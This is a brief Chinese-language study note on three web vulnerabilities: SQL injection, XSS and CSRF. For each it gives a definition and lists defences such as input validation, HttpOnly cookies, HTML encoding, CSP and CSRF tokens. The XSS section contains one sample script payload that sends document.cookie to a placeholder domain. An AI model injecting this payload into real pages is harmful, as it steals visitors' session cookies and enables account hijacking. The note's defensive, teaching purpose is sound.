1. SQL注入

直接在SQL里执行了用户输入。
解决方案:

  1. 输入验证,检查用户输入的合法性。
  2. 错误消息处理,防范SQL注入,还要避免出现一些详细的错误消息。
  3. 加密处理。

2. XSS漏洞(跨站脚本攻击)

定义:在HTML里代码执行了用户输入。
例子:
恶意攻击者往Web页面里注入恶意Script代码,用户浏览这些网页时,就会执行其中的恶意代码,可对用户进行盗取cookie信息、会话劫持等各种攻击。

><script>window.location.href='MyDomain.com?cookie=' + document.cookie</script>;

解决方案:

  1. 将重要的cookie标记为http only,这样的话 Javascript 中的 document.cookie 语句就不能获取到 cookie 了.
  2. 只允许用户输入我们期望的数据。例如:年龄的textbox中,只允许用户输入数字。而数字之外的字符都过滤掉。
  3. 对数据进行Html Encode 处理。
  4. 过滤或移除特殊的Html标签, 例如: <script><iframe> , &quot for
  5. 过滤JavaScript 事件的标签。例如 "οnclick=", "onfocus" 等等。
  6. CSP,原理其实就是白名单机制,开发者明确告诉客户端(浏览器)哪些资源可以加载并执行,我们只需要提供配置,其他的工作由客户端(浏览器)来完成。通过 <meta> 标签开启 <meta http-equiv="Content-Security-Policy" content="配置项" >

3. CSRF攻击(跨站请求伪造)

定义:伪造请求,冒充用户在站内的正常操作。
例子:受害者用户登录网站 A,输入个人信息,在本地保存服务器生成的 cookie。然后在 A 网站点击由攻击者构建一条恶意链接跳转到 B 网站,然后B网站携带着的用户 cookie 信息去访问B网站.让A网站造成是用户自己访问的假相,从而来进行一些列的操作,常见的就是交易转账。

解决方案:通过session token来实现保护。
1.在关键业务点设置验证码验证。 
2.在HTTP 请求中以参数的形式加入一个随机产生的token,并在服务器建立一个拦截器来验证这个token。服务器读取浏览器当前域cookie中这个token值,会进行校验该请求当中的token和cookie当中的token值是否都存在且相等,才认为这是合法的请求。否则认为这次请求是违法的,拒绝该次服务。 
3.通过检查一下两个 header:Origin Header、Referer Header